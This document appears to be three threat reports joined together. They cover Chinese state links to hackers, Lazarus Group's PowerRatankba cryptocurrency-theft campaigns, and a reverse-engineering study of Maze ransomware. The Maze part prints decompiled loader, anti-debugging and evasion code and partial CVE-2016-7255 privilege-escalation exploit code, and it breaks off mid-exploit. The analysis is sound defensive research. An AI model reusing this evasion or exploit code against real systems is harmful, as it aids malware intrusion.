In a secret cable in June 2009, the US State Department noted that Chinese authorities were working with private companies that were known to have recruited infamous hackers. It stated that "there is a strong possibility the PRC is harvesting the talents of its private sector in order to bolster offensive and defensive computer network operations capabilities," warned that the "potential linkages of China’s top companies with the PRC illustrate the government’s use of its private sector in support of information warfare objectives," and gave two examples of hacker recruitment. One was Lin Yong (also known as "LION"), who founded the Honkers Union of China (HUC) which attacked US and Japanese networks around 2001, and the other was the XFocus group which produced the Blaster worm in 2003.
In July 2008, CNN reporters met with members of a hacking group that operated from an apartment on the island of Zhoushan, just south of Shanghai, and who claimed that they had "hacked into the Pentagon and downloaded information." They also claimed that they had been "paid by the Chinese government."
Pentagon officials told a Congressional hearing in Washington in March 2008 that computer networks in the United States, Germany, Britain, and France had been hit by "multiple intrusions" originating from China during 2007, but were generally cautious about attributing these to the Chinese military or government authorities as opposed to private Netizens. However, David Sedney, the Deputy Assistant Secretary of Defense for East Asia, testified that: "The way these intrusions are conducted are certainly consistent with what you would need if you were going to actually carry out cyber warfare."
On the other hand, several factors militate against the PLA’s incorporation of Netizen or "hacktivist" activities in its plans for computer network operations in wartime. Guiding and directing these activities would be very difficult. Hacktivist activities have the potential to interfere with and "inadvertently disrupt" the PLA’s own attacks. They also risk shutting down the lines of communication in use for intelligence collection or accidentally overwhelm channels the PLA is using as feedback loops to monitor the effectiveness of its network attacks.
## China’s Vulnerabilities
Chinese officials have pointed out that "China is the biggest victim country of hacking." Official data showed that "more than one million IP addresses were under control by overseas sources," and that more than 42,000 websites were "tampered by hackers" in 2009. According to the National Computer Network Emergency Response Technical Coordination Centre in Beijing in a report released in March 2011, more than 4600 Chinese government websites had their content modified by hackers in 2010, an increase of 68 percent over the previous year.
A two-month survey conducted in mid-2003 by officials of the Ministry of Public Security showed that 85 percent of computers in China were infected with a computer virus. The officials noted that "the main reason for the spread of the viruses was increasing use of the internet and email." The proportion increased to 88 percent in 2004, but then dropped to about 80 percent in 2005. A Chinese internet security company reported in July 2007 that more than 35 million computers in China had been attacked by viruses in the first half of that year. It estimated that 68.71 percent of the viruses were Trojan Horses, of which 76.04 percent were "phishing-related viruses." A study covering January-November 2008 found that the number infected had increased by 12.16 percent compared to the previous year, and that 64 percent were Trojans, 20 percent back door viruses, 12 percent other viruses, and four percent worms. The majority were being used by hackers to steal virtual property.
A list of the top 100 viruses infecting computers worldwide at the beginning of 2011 showed that in every single case China was the country "most affected." Moreover, nearly all these viruses originated in China. The top 10 in 2008 all originated in China: Trojan.PSW.Win32.GameOL, which opens up firewalls and collects confidential information such as personal financial information; Trojan.Win32.Undef, similar to PSW.Win32.GameOL; RootKit.Win32.Mnless, which obtains root privileges and uses them to modify the operating system, extract passwords and other confidential information, and, if so directed, destroy the host computer; Hack.Exploit.Swf, first detected in July 2008, which is transmitted from infected websites and which affects Windows NT, 2000, XP, and 2003; Trojan.PSW.SunOnline, a Trojan which installs itself on PCs and destroys data and files on those PCs. |
# North Korea Bitten by Bitcoin Bug
## Executive Summary
With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful, and far-reaching nation-state sponsored actors. The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014, the successful theft of $81 million from the Bangladesh Bank in 2014, and perhaps most famously this year’s WannaCry ransomware attack and its global impact have all been attributed to the group. The Lazarus Group is widely accepted as being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law enforcement agencies, and intelligence agencies around the world.
The Lazarus Group’s arsenal of tools, implants, and exploits is extensive and under constant development. Previously, they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of malware targeting the SWIFT banking system to steal millions of dollars. In this report, we describe and analyze a new, currently undocumented subset of the Lazarus Group’s toolset that has been widely targeting individuals, companies, and organizations with interests in cryptocurrency.
Threat vectors for this new toolset, dubbed PowerRatankba, include highly targeted spearphishing campaigns using links and attachments as well as massive email phishing campaigns targeting both personal and corporate accounts of individuals with interests in cryptocurrency. We also share our discovery of what may be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data, again using a variant of malware that is closely related to PowerRatankba.
## Overview
The Lazarus Group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies. Proofpoint researchers have uncovered a number of multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance malware. Victims of interest are then infected with additional malware including Gh0st RAT to steal credentials for cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and other cryptocurrencies. We also discovered what appears to be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks. Moreover, the timing of the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable.
## Introduction
It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges. From these breaches, law enforcement agencies suspect that the group has amassed nearly $100 million worth of cryptocurrencies based on their value today. We hypothesize that many of these previously reported operations targeting cryptocurrency organizations have actually been conducted by the espionage team of the Lazarus Group based on evidence we provide in the Attribution section. Further, we assess that until today, many of Lazarus Group’s traditional financially motivated team have remained largely in the shadows as they conduct these operations adding to their already impressive stockpile of various cryptocurrencies.
Several watering hole attacks targeting the banking and financial industries that occurred at the end of 2016 and beginning of 2017 utilized a first stage downloader implant dubbed Ratankba. During those incidents, Lazarus Group primarily used Ratankba as a reconnaissance tool, described by colleagues at Trend Micro as a utility to “survey the lay of the land.” In this research, we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles the original Ratankba implant. We believe that PowerRatankba was likely developed as a replacement in Lazarus Group’s strictly financially motivated team’s arsenal to fill the hole left by Ratankba’s discovery and very public documentation earlier this year.
In this report, we first provide a brief timeline of events related to the malicious activity. Next, we describe the various delivery methods that Lazarus Group utilized to infect victims with PowerRatankba. We then detail the inner workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims. Following that, we share details on a new and emerging threat targeting the South Korean point-of-sale industry that we have dubbed RatankbaPOS. Finally, we explain our high-confidence attribution to Lazarus Group.
## PowerRatankba Downloaders
In this section, we will detail each of the different attack vectors and campaigns we have discovered that eventually lead to the delivery of PowerRatankba. In total, we have discovered six different attack vectors:
- A new Windows executable downloader dubbed PowerSpritz
- A malicious Windows Shortcut (LNK) file
- Several malicious Microsoft Compiled HTML Help (CHM) files using two different techniques
- Multiple JavaScript (JS) downloaders
- Two macro-based Microsoft Office documents
- Two campaigns utilizing backdoored popular cryptocurrency applications hosted on internationalized domain (IDN) infrastructure to trick victims into thinking they were on a legitimate website
### Campaign Timeline
The campaigns discussed in this research began on or around June 30th, 2017. According to our data, those campaigns were highly targeted spearphishing attacks targeting at least one executive at a cryptocurrency organization to deliver a PowerRatankba.A variant. All other campaigns utilized PowerRatankba.B variants. We currently have no visibility into how the LNK, CHM, and JS campaigns were delivered to users, but given common Lazarus modus operandi, we can speculate that they may have been delivered through attachments or links in emails. We gained visibility again during the massive email campaigns utilizing BTG- and Electrum-themed applications to ultimately deliver PowerRatankba.
### PowerSpritz
PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm. This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload. In early July 2017, an individual on Twitter shared an attack they observed targeting them utilizing a fake Skype update lure to trick users into clicking on a link.
PowerSpritz decrypts a legitimate Skype or Telegram installer using a custom Spritz implementation. PowerSpritz then writes the legitimate installer to disk in the directory returned by GetTempPathA either as a hardcoded filename such as SkypeSetup.exe or, in some versions, as the filename returned by GetTempFileNameA. The installer is then executed to trick the potential victim into thinking they downloaded a legitimate, working application installer or update. Finally, Spritz uses the same key to decrypt a PowerShell command that downloads the first stage of PowerRatankba.
### Windows Shortcut (LNK)
A LNK masquerading as a PDF document was discovered on an antivirus scanning service. The malicious “Scanned Document Part 1.pdf.lnk” LNK file, along with a corrupted PDF named “Scanned Document Part 2.pdf,” were compressed in a ZIP file named “Scanned Documents.zip.” It is unclear if the PDF document was tampered with intentionally to increase the chances a target would open the malicious LNK or if the actor(s) unintentionally used a corrupted document. The malicious LNK uses a known AppLocker bypass to retrieve its payload from a TinyURL shortener link.
### Microsoft Compiled HTML Help (CHM)
Several malicious CHM files were uploaded to a multi antivirus scanning service in October, November, and December. We inspected the compressed ZIP metadata to better understand the likely chronological order in which the CHMs were used. Unfortunately, we have been unable to determine how these infection attempts were delivered to victims. The themes of the malicious CHMs include:
- A confusing, poorly written request for assistance with creating a website with possible romantic undertones
- Documentation on a blockchain technology called ALCHAIN from Orient Exchange Co.
- A request for assistance in developing an initial coin offering (ICO) platform
- White paper on the Falcon Coin ICO
- A request for applications to develop a cryptocurrency exchange platform
- A request for assistance in creating an email marketing tool
All of the CHM files use a well-known technique to create a shortcut object capable of executing malicious code and then causing that shortcut object to be automatically clicked via the “x.Click();” function. Two different methods were used across the CHMs to retrieve the malicious payload.
### JavaScript Downloaders
Throughout November, several compressed ZIP files containing a JavaScript (JS) downloader were observed being hosted on likely attacker-controlled servers. We are not currently aware if or how these files were delivered to potential victims. The naming of the files and the decoy PDF documents they retrieve provide some clues about the nature of the lures. Themes include the cryptocurrency exchanges Coinbase and Bithumb, the Falcon Coin ICO, and a list of Bitcoin transactions.
Each JavaScript downloader is obfuscated using JavaScript Obfuscator or a similar tool. After de-obfuscating, the logic of the malicious downloader is very straightforward. First, an obfuscated PowerRatankba.B PowerShell script is downloaded from a fake image URL. Next, the PowerShell script is saved to C:\Users\Public\Pictures\opt.ps1 and then executed.
### VBScript Macro Microsoft Office Documents
Two VBScript macro-laden Microsoft Office documents have been observed associated with this activity: one Word document and one Excel spreadsheet. The Word document uses an Internal Revenue Service (IRS) theme and was sent as an attachment named “report phishing.doc.” The spearphishing email was sent from an @mail.com address with the subject of “Phishing Warning.” Ironically, the sender email address was spoofed as phishing@irs.gov while the content of the lure was likely copied from an official IRS webpage.
The IRS-themed malicious document uses a macro to download a PowerRatankba VBScript from a specified URL, save it to disk, and execute it. The second malicious Office document we discovered is an Excel spreadsheet named bithumb.xls. It uses a Bithumb lure and includes stolen branding. The spreadsheet contains a macro with an embedded Base64-encoded PowerRatankba VBScript downloader.
### Backdoored PyInstaller Applications
Most recently, several large email phishing campaigns attempted to trick unsuspecting victims into visiting fake webpages to download or update cryptocurrency applications. The copycat websites were mirror images of legitimate websites with software download links pointing to the correct installers hosted on the legitimate websites. The only exception was the link to download the Windows version of the application, which was hosted on the copycat websites. These PyInstaller executables were backdoored with a few lines of Python code added to download the PowerRatankba implant.
The first campaign that utilized this technique used a Bitcoin Gold (BTG) theme to trick the targets into visiting an internationalized domain name (IDN) website. An email was sent to targets offering a BTG wallet application along with a link to the malicious website. Campaigns using IDN can be difficult to recognize as malicious because they are typically very similar to the mimicked legitimate domains except for a single character.
## Implant Description and Analysis
Three key implants were used at various points in these campaigns. The implants -- PowerRatankba, Gh0st RAT, and RatankbaPOS -- and specific variations are described in detail below.
### PowerRatankba Description
PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.
Once executed, PowerRatankba first sends detailed information about the infected device to its C&C server via the BaseInfo HTTP POST, including the computer name, IP address(es), OS boot time and installation date, language, if ports 139, 3389, and/or 445 are open/closed/filtered, a process list, and output from two WMIC commands.
### PowerRatankba.A C&C Description
After the initial C&C check-in, PowerRatankba.A issues What HTTP GET requests to retrieve commands from the C&C server. All PowerRatankba.A HTTP requests contain a randomly generated numeric UID passed in the u HTTP URI parameter. This variant receives commands and sends responses in plaintext.
### PowerRatankba.B C&C Description
Similar to its predecessor, PowerRatankba.B issues What HTTP requests to its C&C server after the initial check-in. Instead of a numeric UID, this variant uses the infected device’s double-Base64-encoded MAC address. Commands from the C&C are still expected as plaintext but command parameters for all commands except interval are encrypted with DES using “Casillas” as both the key and initialization vector (IV) and then Base64-encoded.
### PowerRatankba Persistence
For persistence, PowerRatankba.A saves a JS file to the victim’s Startup folder that will be executed every time the victim’s user account logs in. PowerRatankba.B is capable of using two different persistence methods while only one will be used based on whether or not the executing user has Administrator privileges.
### PowerRatankba.B Stage2 - Gh0st RAT
A Gh0st remote access Trojan/tool (RAT) was delivered via PowerRatankba.B to several devices running common cryptocurrency-related applications. The Gh0st RAT samples were delivered via the memory injection command. The fake image was actually a Base64-encoded custom encryptor with the embedded, encrypted Gh0st RAT as the final payload.
### Shopping Spree: Enter RatankbaPOS
Beyond stealing millions of US dollars worth of cryptocurrency, we have discovered a Lazarus operation to steal point-of-sale (POS) data primarily targeting POS terminals of businesses operating in South Korea. Enter RatankbaPOS, possibly the first publicly documented nation-state sponsored campaign to steal POS data from a POS-related framework.
At this time we have been unable to determine how RatankbaPOS is being delivered; however, based on its sharing of C&C with PowerRatankba implants, we hypothesize that Lazarus operators infiltrated at least one organization’s networks utilizing PowerRatankba to deploy later stage implants.
### RatankbaPOS Analysis
RatankbaPOS is deployed through a process injection dropper that is also capable of installing itself persistently, checking a C&C for either an update or a command to delete itself, dropping the RatankbaPOS implant to disk, and finally searching for the targeted POS process and module for injection and ultimately the theft of POS data.
## Conclusion
This report has introduced several new additions to Lazarus Group’s ever-growing arsenal, including a variety of different attack vectors, a new PowerShell implant and Gh0st RAT variant, as well as an emerging point-of-sale threat targeting South Korean devices. In addition to insight into Lazarus’ emerging toolset, there are two key takeaways from this research:
- Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of state-sponsored attacks; in this case, we were able to differentiate the actions of the financially motivated team within Lazarus from those of their espionage and disruption teams that have recently grabbed headlines.
- This group now appears to be targeting individuals rather than just organizations: individuals are softer targets, often lacking resources and knowledge to defend themselves and providing new avenues of monetization for a state-sponsored threat actor’s toolkit.
## Research Contributions
- Proofpoint
- Kafeine (@kafeine)
- Matthew Mesa (@mesa_matt)
- Kimberly (@StopMalvertisin)
- James Emory (@sudosev)
### Special Thanks
We would like to thank Yonathan Klijnsma (@ydklijnsma) and RisqIQ (@RiskIQ) for supporting this research by sharing data and assisting with some of the infrastructure analysis.
## Indicators of Compromise (IOCs)
- PowerSpritz ITW URLs
- PowerSpritz Hashes
- PowerSpritz C&C
- Microsoft Compiled HTML Help (CHM) Hashes
- Microsoft Compiled HTML Help (CHM) C&C
- MS Shortcut Link (LNK) Hashes
- MS Shortcut Link (LNK) C&C
- JavaScript Hashes
- JavaScript C&C
- MS Office Docs Hashes
- MS Office Docs C&C
- PyInstaller Hashes
- PyInstaller Hosting or Email IDNA
- Likely Related IDNA
- PyInstaller C&C
- PowerRatankba Hashes
NOTE: Several of these domains reflect themes and brands that are confirmed to have been used in phishing attacks. Additionally, they were registered in the same timeframe, at the same registrar, with matching server characteristics that were observed in the confirmed IDNA infrastructure domains. These domains in no way indicate that they have been used for attacks, nor that the themes utilized indicate that the entity in question has been targeted or compromised. We simply assess that this infrastructure is related to Lazarus Group and currently do not know how or if it was utilized for campaigns. |
# WHITEPAPER
## Security: A Technical Look into Maze Ransomware
### Foreword
At the end of May 2019, a new family of ransomware called Maze emerged into the gaping void left by the demise of the GandCrab ransomware. Unlike run-of-the-mill commercial ransomware, Maze authors implemented a data theft mechanism to exfiltrate information from compromised systems. This information is used as leverage for payment and to transform an operational issue into a data breach. In November 2019, the Bitdefender Active Threat Control team spotted spikes in reports of the ‘random’ process name being blocked from escalating privileges, by the Bitdefender Anti-Exploit module. We were curious about the executable, and how it tried to achieve System privileges. Further investigation revealed that the process belongs to the Maze/ChaCha ransomware, so we took a deeper look. In this article, we attempt to shed some light on how it performs evasion and obfuscation, as well as the exploits used and its ransomware behavior.
## Unpacking
### First stage
The sample we are looking at is e69a8eb94f65480980deaf1ff5a431a6, a 500KB, 32-bit PE executable, originally dropped as a random-name file in the low-privilege folder: `C:\Users\(username)\AppData\LocalLow\PJhUjWGD.tmp`. As we load it in IDA Disassembler, we see a lot of data (yellow) and less code (blue) in the navigator bar. From this, we can tell some unpacking of that data will take place. Following the WinMain function, we see an unorthodox way of calling another function, by using the CreateTimerQueueTimer API, to evade detection. While this timer function is quite obscure, we have seen it before, in Emotet and Hancitor malicious macro code. The following decompiled code shows how the function is imported here and abused, to execute `target_function`:
```c
hModule = GetModuleHandleW(L"kernel32.dll");
if (!hModule)
return 0;
strcpy(ProcName, "CreateTimerQueueTimer");
CreateTimerQueueTimer = GetProcAddress(hModule, ProcName);
if (CreateTimerQueueTimer)
result = CreateTimerQueueTimer(a1, a2, target_function, a4, a5, a6, a7);
```
The mentioned `target_function` contains the decryption code for the trailing data, as shown below:
```c
nullsub();
CryptSetKey(ctx, aYouareKey, 128u, 128);
CryptSetIV(ctx, aYouareIV);
DecryptBytes(1, ctx, byte_4202D0, allocatedMemory, 0x11E0u);
v4 = (int *)((char *)allocatedMemory + 0x11E0);
nullsub();
CryptSetKey(ctx, aYouareKey, 128u, 128);
CryptSetIV(ctx, aYouareIV);
DecryptBytes(1, ctx, byte_4214B0, v4, 0x59E00u);
LOBYTE(v8) = 1;
ret = CreateThread(0, 0, allocatedMemory, lpParameter, 0, 0);
```
A total of 370 KB of shellcode are decrypted using the HC-128 algorithm, with fixed key and initialization vector. The shellcode is then executed as a new thread, in the second stage.
### Second stage
In the second stage, the large shellcode is executed. IDA recognizes a little code at the beginning, while the rest is marked as data, which means more unpacking is expected. The first thing the shellcode does is to import two functions: LoadLibraryA and GetProcAddress, using name hashing:
```c
1000001C mov eax, [ebp+var_kernel32]
1000001F mov [esp], eax
10000022 mov [esp+38h+var_34], 7C0DFCAAh ; "GetProcAddress"
1000002A call ImportByHash
1000002F sub esp, 8
10000032 mov [ebp+var_GetProcAddress], eax
10000035 mov eax, [ebp+var_kernel32]
10000038 mov [esp], eax
1000003B mov [esp+38h+var_34], 0EC0E4E8Eh ; "LoadLibraryA"
10000043 call ImportByHash
10000048 sub esp, 8
1000004B mov [ebp+var_LoadLibraryA], eax
```
Using these two primitives (LoadLibraryA and GetProcAddress), the shellcode imports a few other functions used later: IsBadReadPtr, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, ExitThread. These functions are used to perform a reflective DLL loading, using the large chunk of data after the shellcode. A module loaded this way will not appear in OS structures, meaning it will be hidden from process module list.
### Third stage
In the third stage, the main functionality of the ransomware relies on the hidden DLL loaded by the shellcode at the second stage. The code is highly obfuscated, with a few tricks to make reverse engineering harder. First, the address of the kernel32.dll string is put on the stack using a call loc_10021ADF instead of doing push 10021AD2. While the result at runtime is the same, disassemblers will try to interpret the respective string as code and fail to find the correct continuation.
```c
10021AC3 push 4F6h
10021AC8 push 359D02F0h
10021ACD call loc_10021ADF
10021AD2 db 'kernel32.dll',0
10021ADF push offset loc_10021B4D
```
Second, another trick is used using jz/jnz pair of instructions. Depending on the value of the Zero flag, the execution will follow the first or second branch, so there is a guaranteed jump either way. However, disassemblers do not perfectly emulate the execution, and missing the fact that instructions are unreachable, will continue disassembling garbage code (at 10021AEC), often invalid instructions, or missing the start offset of legit instructions later:
```c
10021AE4 jz loc_10001520
10021AEA jnz short loc_10021AF0
10021AEC rol byte ptr [ecx], 0 ; garbage/invalid code
10021AEF db 0
10021AF0 jnz short loc_10021AFC
10021AF2 jz short loc_10021AF8 ; unreachable jump
10021AF5 sbb al, [eax] ; garbage/invalid code
10021AF7 db 0
10021AF8 xor eax, [ecx]
10021AFA db 0
10021AFB db 0
10021AFC jnz loc_10001520
```
Some jz are decoy, when reached from a jnz branch. The jump at 10021AF2 will never be executed, because the Zero flag is guaranteed to be unset, as we have arrived there through a jnz from 1021AEA. So the jz/jnz target is one and the same: loc_10001520 which, we will see, is a dynamic import utility function. Because of these tricks, the file is poorly disassembled, and the IDA bar shows very little code (blue), a lot of unresolved opcodes (gray) and data (yellow).
## Imports deobfuscation
Before proceeding with deobfuscating instructions, we must take care of imports. Most static imports of this DLL are used by garbage code, so they are unused imports. The relevant imports are dynamic, obtained at runtime using the “name hashing” method. The hash on import name is passed as two xor-ed parameters to the import function, along with module name:
```c
10021AC3 push 4F6h ; xor key
10021AC8 push 359D02F0h ; xored hash of 'CreateThread'
10021ACD call loc_10021ADF ; push address of 'kernel32.dll'
10021AD2 db 'kernel32.dll',0
10021ADF push offset loc_10021B4D ; return target after call
10021AE4 jmp ImportByHash ; call ImportByHash utility
```
The module name is passed using “call over the string” method, which breaks IDA code-flow tracking. Also push/jmp is used instead of call. If we remove these tricks, the above code is equivalent to the following:
```c
10021AC3 push 4F6h ; xor key
10021AC8 push 359D02F0h ; xored hash of 'CreateThread'
10021ACD push 'kernel32.dll'
10021AD2 call ImportByHash ; import function by hash
10021AD8 jmp loc_10021B4D ; return target after call
```
We know the imported functions, so we can replace the dynamic imports with static ones, then jump directly to continuation:
```c
10021AC3 mov eax, CreateThread
10021AC8 jmp loc_10021B4D
```
To find the imported functions by hash, we created a new executable that loads this DLL, and calls the import function at 10001520 each time, for all hashes gathered from scanning the DLL for the push/push/call-over-string pattern. Having a list of all import names, we added them as static imports in a new imports section. This way we can access them directly. Finally, our IDA extension replaced the pattern with the equivalent mov eax, [import] and jmp continuation instructions.
## Code-flow deobfuscation
For IDA to correctly disassemble and decompile the malware code, we need to revert the control-flow obfuscation, so that there are no invalid or garbage instructions. To do that, we need to replace all occurrences of jz/jnz pair with jz/jmp instead. Making the second jump absolute will help IDA follow the correct code flow, and the unreachable garbage opcodes will not be disassembled. We can try fixing the jump issue using Python or IDC scripting capabilities offered by IDA. Searching for the jump opcodes could be performed with the following script:
```python
for addr in range(addr_start, addr_end):
bytes = bytearray(get_bytes(addr, 10))
if bytes[0:2] == bytearray((0x0F,0x84)) and bytes[6:8] == bytearray((0x0F,0x85)):
print('Fixing long/long jz/jnz trick at %X' % addr)
patch_byte(addr+6, 0x90) # padding
patch_byte(addr+7, 0xE9) # unconditional JMP
```
This works well for jz/jnz combos where both jumps are long (5+5 bytes), or there is one long and one short (5+2 bytes). But when both jumps are short (2+2 bytes, opcodes 74 xx 75 xx), this pattern is too weak and may match in the middle of other instructions, or even data, for example:
```c
10039538 db 74h ; t ; no jz/jnz here
10039539 db 0
1003953A unk_1003953A db 75h ; u
1003953B db 70h ; p
1003953C db 64h ; d
1003953D db 61h ; a
1003953E db 74h ; t
1003953F db 65h ; e
10039540 db 0
```
Here at 10039538 we can see a sequence of 74 xx 75 xx which is not a jz/jnz combo, but part of some strings (signout, update). Obviously, we don’t want to replace these cases, so we must find another solution. Simply using IDA scripts does not seem to be enough, as we want to make replacements only at addresses where IDA reaches with disassembling. This applies only to addresses reached by its emulation (following jumps, calls, etc). Inspired by Rolf Rolles’ article, we decided to write an IDA processor module extension, which would supply us with a callback at every address IDA tries to disassemble.
```python
def ev_ana_insn(self, insn):
addr = insn.ea
b = bytes(idaapi.get_bytes(addr, 30))
# check for short jz/jnz combo, replace with jz/jmp
if b[0] == 0x74 and b[2] == 0x75:
jz_target = addr + 1 + self.get_signed_byte(b, 1)
jnz_target = addr + 4 + self.get_signed_byte(b, 3)
jnz_target = self.follow_jnz(jnz_target)
print('Fixing Jz/Jnz (1) at %x, jz_target=%x, jnz_target=%x' % (addr, jz_target, jnz_target))
self.asm_jmp_dword(addr + 2, jnz_target)
return False
```
Here, the `ev_ana_insn` method of our class derived from `idaapi.IDP_Hooks` is called by IDA before evaluating every instruction, so we look for various jz/jnz combinations and replace the second jump with an absolute one. This gives us a bit more visibility, in the sense that IDA will correctly follow jumps, and know where to disassemble next. Another trick is impeding IDA from recognizing end of functions and correctly calculate stack variable offsets. Some ret instructions are replaced with equivalent (add esp,4 then jmp [esp-4]) and stack operations are replaced by increments/decrements, which are not tracked by IDA stack variable offset calculator:
```c
10002EC8 inc eax
10002EC9 jnz short loc_10002EC0
10002ECB mov eax, ecx
10002ECD inc esp ; equivalent to RET
10002ECE inc esp ;
10002ECF inc esp ;
10002ED0 inc esp ;
10002ED1 jmp dword ptr [esp-4] ;
```
In this case, our IDA extension will replace the commented instructions with a ret. This way the function will be correctly recognized, and work with stack offsets will be identified as work with local variables, denoted as var_xx. In another trick, there’s push address then jmp function, which is actually a call function then jmp address. Without the call instruction, IDA does not mark that respective address as a function. Also, if that’s an import, a comment will not be added:
```c
10021B4D push offset loc_10021B68 ; equivalent to CALL EAX
10021B52 jmp eax ; ...and JMP loc_10021B68
```
When eax is a dynamic import that we replaced with equivalent code (described in the previous chapter), IDA will correctly follow the eax value and recognize the call to import. The CreateThread comment is automatically set by IDA:
```c
10021B4D call eax ; CreateThread
10021B4F jmp short loc_10021B68
```
Also, decompilation is now working correctly, with the CreateThread import used directly, and parameters identified:
```c
if (fdwReason == 1) {
hInstance = hinstDLL;
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_10036FD0, 0, 0, 0);
}
```
Decompilation is helpful when dealing with spaghetti code, as scattered chunks of code are reunited into continuous blocks of C-like source. Fixing the code-flow obfuscation tricks enabled decompilation and, as a result, we have obtained high-level visibility. After a few more tweaks, the IDA navigator bar shows complete recognition of code, with blue. The rest is data, used later, as detailed in the next chapter.
## Evasion techniques
Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on process name, and the following are terminated, if running: ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe. Also, an important function is disabled, namely DbgUiRemoteBreakin, which is necessary for debugging the process. After the function is located, it is patched with a single RET instruction:
```c
// locate DbgUiRemoteBreakin in ntdll
ntdll = GetModuleHandleA(aNtdllDll);
funcDbgUiRemoteBreakin = j_GetProcAddress(ntdll, ProcName);
if (funcDbgUiRemoteBreakin) {
// remove page protection
address = funcDbgUiRemoteBreakin;
flNewProtect = 0;
if (j_VirtualProtect(funcDbgUiRemoteBreakin, 1u, PAGE_EXECUTE_READWRITE, &flNewProtect)) {
// patch with RET
*address = 0xC3;
// restore protection
j_VirtualProtect(address, 1u, flNewProtect, &flOldProtect);
}
}
```
## Privilege escalation
Addressing our original curiosity about privilege escalation alerts, we found two exploits stored encrypted in the data section, unpacked and executed at runtime.
### Exploiting CVE-2016-7255
The first exploit we found targets the CVE-2016-7255 vulnerability in win32k.sys. The vulnerability was described in detail by TrendMicro, then a patch analysis was made by researchers at McAffee. The exploit comes as a DLL image, encrypted using fixed-key, 8-round ChaCha algorithm, then mapped using reflection. There are two versions of the DLL, one for 32-bit, one for 64-bit platforms. After the DLL is mapped, the single exported name EP is obtained. After the function is called, the privilege level is checked, as we can see in the decompiled code:
```c
encryptedPayload = &addr_encryptedDll_x86;
if (*(_DWORD *)(a2 + 0x28) == 64) // check OS platform
encryptedPayload = &addr_encryptedDll_wow64;
payloadLength = ((*(_DWORD *)(a2 + 0x28) == 64) << 11) | 0x2400;
this[2] = payloadLength; // x86:2400, wow64:2C00
this[1] = AllocateRWmem(payloadLength);
ChaCha8_Transform(v3, (int)encryptedPayload);
module = MapDllByReflection((_WORD *)v3[1]);
PrivEscFunc = (void(*)(void))GetExportedFunction((int)module, "EP");
if (PrivEscFunc) {
PrivEscFunc(); // raise privileges
j_Sleep(2000u);
oldIntegrityLevel = *(_DWORD *)(a2 + 4);
newIntegrityLevel = GetProcessIntegrityLevel(); // check privileges
*(_DWORD *)(a2 + 4) = newIntegrityLevel;
isElevated = newIntegrityLevel != oldIntegrityLevel;
}
```
We will have a look on the DLL for 64-bit platforms. It is actually a 32-bit image, targeting the WoW64 subsystem. The 32-bit code goes to 64-bit mode to execute system calls. This is done with the Heaven’s Gate method, changing the code segment to 0x33, using the RETF instruction. Going back to 32-bit is done using the 0x23 segment instead. This way, direct system calls can be executed, from WoW64 code:
```c
10002385 ; int __stdcall perform_syscall(int, int, int, int, int)
10002385 perform_syscall proc near
10002394 push 33h ; cs=33 for 64-bit
10002396 call $+5 ; push continuation address
1000239B add dword ptr [esp], 5 ; add delta
1000239F retf ; switch to 64-bit mode
100023A0 xor r9d, r9d ; 64-bit code starts
100023A3 mov eax, [rbp+arg_1C]
100023A7 xor rcx, rcx
100023AA mov ecx, [rbp+arg_20] ; pass arguments
100023AE mov r10, rcx
100023B1 xor rdx, rdx
100023B4 mov edx, [rbp+arg_24]
100023B8 mov r8, [rbp+arg_28]
100023BD sub rsp, 100h
100023C4 syscall ; <-- syscall, eax=func_id
100023C6 add rsp, 100h
100023CD call $+5
100023D2 mov [rsp+8+var_4], 23h ; cs=23 for 32-bit
100023DA add [rsp+8+var_8], 0Dh
100023DE retf ; switch to 32-bit mode
100023DF xor eax, eax ; back to 32-bit mode
```
This method is used to perform NtUserSetWindowLongPtr system calls, which are necessary for exploitation. Another function needed for exploitation is HMValidateHandle, which is an internal function of user32.dll, not publicly exported, that leaks kernel information. To locate this function, the exploit follows a reference to it, from the IsMenu export:
```c
// get address of IsMenu export
user32_module = LoadLibraryA("USER32.dll");
IsMenu = GetProcAddress(user32_module, "IsMenu");
offset = 0;
// scan function body
while (1) {
// check for "mov dl, 2"
if (*(_WORD *)((char *)IsMenu + offset) == 0x2B2) {
offset += 2;
// check for "call HMValidateHandle"
if (*((BYTE *)IsMenu + offset) == 0xE8)
break; // found
}
if ((unsigned int)++offset >= 0x30) {
v3 = HMValidateHandle; // not found
goto LABEL_7;
}
}
// compute target of call
v4 = offset + *(_DWORD *)((char *)IsMenu + offset + 1);
v3 = (FARPROC)((char *)IsMenu + v4 + 5);
// save address of HMValidateHandle
HMValidateHandle = (FARPROC)((char *)IsMenu + v4 + 5);
```
